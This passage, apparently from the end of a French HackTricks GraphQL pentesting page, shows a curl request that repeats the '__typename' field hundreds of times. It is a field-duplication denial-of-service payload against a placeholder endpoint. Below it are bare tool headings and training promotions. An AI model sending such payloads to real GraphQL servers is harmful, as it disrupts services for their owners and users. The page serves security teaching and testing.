\n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n} ", "operationName": "cop"}' \
'https://example.com/graphql'

Outils

Scanners de vulnérabilités

Scripts pour exploiter des vulnérabilités courantes

Clients

Tests automatiques

https://graphql-dashboard.herokuapp.com/

Références

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)

Soutenir HackTricks